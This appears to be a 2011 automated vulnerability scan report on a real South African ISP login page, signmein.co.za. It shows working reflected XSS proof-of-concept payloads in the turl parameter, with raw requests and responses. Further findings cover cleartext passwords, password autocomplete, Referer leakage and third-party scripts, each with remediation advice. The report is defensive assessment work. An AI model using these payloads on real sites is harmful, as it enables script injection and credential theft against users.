This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /authentication.aspx?turl=mwebc4eed"><script>alert(1)</script>4295a04a615&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:37:12 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:37:12 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18188
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <a href="registration.aspx?turl=mwebc4eed"><script>alert(1)</script>4295a04a615&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e"> ...[SNIP]...
The value of the turl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f5ff7'-alert(1)-'b6e35f2f9ca was submitted in the turl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /authentication.aspx?turl=mwebf5ff7'-alert(1)-'b6e35f2f9ca&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:37:20 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:37:20 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18114
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <script language="javascript"> function do_registration() { window.location.href = '/registration.aspx?turl=mwebf5ff7'-alert(1)-'b6e35f2f9ca&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e' }
function setEmailFocus() { document.getElemen ...[SNIP]...
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:36:21 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:36:21 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18002
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <body onload="javascript : do_focus();"> <form name="form1" method="post" action="authentication.aspx?turl=mweb&psid=%7b5B30411F-57AD-497B-8776-F70C56775BDA%7d&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e" onsubmit="javascript:return WebForm_OnSubmit();" id="form1"> <div> ...[SNIP]... <span class="inputShadow"><input name="m_password" type="password" id="m_password" style="WIDTH: 155px" maxlength="16" /></span> ...[SNIP]...
3. Password field with autocomplete enabledpreviousnext There are 3 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The form contains the following password field with autocomplete enabled:
m_password
Request
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:36:21 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:36:21 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18002
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <body onload="javascript : do_focus();"> <form name="form1" method="post" action="authentication.aspx?turl=mweb&psid=%7b5B30411F-57AD-497B-8776-F70C56775BDA%7d&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e" onsubmit="javascript:return WebForm_OnSubmit();" id="form1"> <div> ...[SNIP]... <span class="inputShadow"><input name="m_password" type="password" id="m_password" style="WIDTH: 155px" maxlength="16" /></span> ...[SNIP]...
The page contains a form with the following action URL:
http://www.signmein.co.za/authentication.aspx
The form contains the following password field with autocomplete enabled:
m_password
Request
GET /authentication.aspx HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ce=1; __utmz=1.1300728041.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=1.351994952.1300718190.1300718190.1300728041.2; __utmc=1; __utmb=1.1.10.1300728041
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 17:20:27 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 17429
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <body onload="javascript : do_focus();"> <form name="form1" method="post" action="authentication.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="form1"> <div> ...[SNIP]... <span class="inputShadow"><input name="m_password" type="password" id="m_password" style="WIDTH: 155px" maxlength="16" /></span> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
m_password
Request
GET /authentication.aspx?turl=mwmsgcentre2&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=MSGCTR&sa=1440&surl=http://mc2.mweb.co.za/index.htm?nolg=true&ssect=Airmail&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ce=1; __utmz=1.1300718190.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.351994952.1300718190.1300718190.1300718190.1; __utmc=1; __utmb=1.1.10.1300718190
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:40:05 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:40:05 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 17250
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <body onload="javascript : do_focus();"> <form name="form1" method="post" action="authentication.aspx?turl=mwmsgcentre2&psid=%7b5B30411F-57AD-497B-8776-F70C56775BDA%7d&sn=MSGCTR&sa=1440&surl=http%3a%2f%2fmc2.mweb.co.za%2findex.htm%3fnolg%3dtrue&ssect=Airmail&lg=e" onsubmit="javascript:return WebForm_OnSubmit();" id="form1"> <div> ...[SNIP]... <span class="inputShadow"><input name="m_password" type="password" id="m_password" style="WIDTH: 155px" maxlength="16" /></span> ...[SNIP]...
4. Cross-domain Referer leakagepreviousnext There are 3 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /authentication.aspx?turl=mweb&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=Global&sa=36000&surl=http%3a%2f%2fwww.mweb.co.za%2fhome%2fhome.aspx&ssect=All&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:36:21 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:36:21 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 18002
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <div class="masthead"><a href="http://www.mweb.co.za"><img src="/images/mweb/ma_mweb_logo.gif" /> ...[SNIP]... <div class="safariWarningLink"> For step by step guide on how to make these changes vist the <a href="http://www.mweb.co.za/helpcentre/SafariHelpGuide/tabid/1986/Default.aspx">MWEB Help Centre.</a> ...[SNIP]... <br /> <a href="http://www.mweb.co.za/legalpolicies/tabid/1614/Default.aspx">Website Terms of Use</a> | <a href="http://www.mweb.co.za/legalpolicies/">Legal Notices</a> | <a href="http://www.mweb.co.za/productsservices/JoinUpgrade/tabid/96/Default.aspx">Join MWEB</a> | <a href="http://www.mweb.com/">About Us</a> | <a href="http://www.mweb.co.za/helpcentre/ContactUs/tabid/390/Default.aspx">Contact Us</a><br /><a href="http://sales.24.com/ChannelInfo.aspx?channel_id=26">Advertise on MWEB </a> | <a href="http://www.mwebbusiness.co.za/Default.aspx">Get Your Business Online</a> | <a href="http://www.mweb.co.za/securitycentre/">Security Services</a> | <a href="http://www.mweb.co.za/helpcentre/">Help</a> ...[SNIP]... <noscript> <img src="//za.effectivemeasure.net/em_image" alt="" style="position:absolute; left:-5px;" /> </noscript> ...[SNIP]...
GET /authentication.aspx?turl=mwmsgcentre2&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=MSGCTR&sa=1440&surl=http://mc2.mweb.co.za/index.htm?nolg=true&ssect=Airmail&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ce=1; __utmz=1.1300718190.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.351994952.1300718190.1300718190.1300718190.1; __utmc=1; __utmb=1.1.10.1300718190
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:40:05 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:40:05 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 17250
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <link href="styles/mcMoveBlock.css" rel="stylesheet" type="text/css" /> --> <script language="javascript" src="http://www.mweb.co.za/scripts/framework_scripts.js"></script>
<script language="JavaScript" type="text/javascript" src="http://toolbar.mweb.co.za/toolbar/statsbar_script.asp?site=mwSmi&affiliate=mwSmiMyAcc&target=mwSmiMyAcc.Login"></script> ...[SNIP]... <div class="logoBlockLink"> <a href="http://www.mweb.co.za" title="MWEB"></a> ...[SNIP]... <div class="safariWarningLink"> For step by step guide on how to make these changes vist the <a href="http://www.mweb.co.za/helpcentre/SafariHelpGuide/tabid/1986/Default.aspx">MWEB Help Centre.</a> ...[SNIP]... <span style="padding-left: 40px; font-size: 9pt;">Pixie and Gem users, <a href="http://air.mweb.co.za/"> <b> ...[SNIP]... <span style="padding-left: 40px; font-size: 9pt;">To Login to old Airmail, <a href="http://oldairmail.mweb.co.za"><b> ...[SNIP]... <br> <a href="http://www.mweb.co.za/legalpolicies/tabid/1614/Default.aspx">Website Terms of Use</a> | <a href="http://www.mweb.co.za/legalpolicies/">Legal Notices</a> | <a href="https://www.mweb.co.za/adslsignup/"> Join MWEB</a> | <a href="http://www.mweb.com/">About Us</a> | <a href="http://www.mweb.co.za/helpcentre/ContactUs/tabid/390/Default.aspx"> Contact Us</a><br> <a href="http://sales.24.com/ChannelInfo.aspx?channel_id=26">Advertise on MWEB </a> | <a href="http://www.mwebbusiness.co.za/Default.aspx">Get Your Business Online</a> | <a href="http://www.mweb.co.za/securitycentre/">Security Services</a> | <a href="http://www.mweb.co.za/helpcentre/"> Help</a> ...[SNIP]... <noscript> <img src="//za.effectivemeasure.net/em_image" alt="" style="position:absolute; left:-5px;" /> </noscript> ...[SNIP]...
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /authentication.aspx?turl=mwmsgcentre2&psid={5B30411F-57AD-497B-8776-F70C56775BDA}&sn=MSGCTR&sa=1440&surl=http://mc2.mweb.co.za/index.htm?nolg=true&ssect=Airmail&lg=e HTTP/1.1 Host: www.signmein.co.za Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ce=1; __utmz=1.1300718190.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.351994952.1300718190.1300718190.1300718190.1; __utmc=1; __utmb=1.1.10.1300718190
Response
HTTP/1.1 200 OK Date: Mon, 21 Mar 2011 14:40:05 GMT Server: Microsoft-IIS/6.0 P3P: CP="ALL DSP COR PSAa PSDa OUR IND UNI" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP=""NOI LAW NID BUS CUSo PSAo PSDo TAIo OUR OTR COM DEM NAV PRE STA PUR INT NAV"" Set-Cookie: ce=1; domain=.signmein.co.za; expires=Wed, 27-Nov-2024 14:40:05 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 17250
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD id="HEAD1"><title> :: Sign Me In :: </title><meta content="Microsoft Visual Studio 7.0" name="GENERATOR" /><meta ...[SNIP]... <link href="styles/mcMoveBlock.css" rel="stylesheet" type="text/css" /> --> <script language="javascript" src="http://www.mweb.co.za/scripts/framework_scripts.js"></script>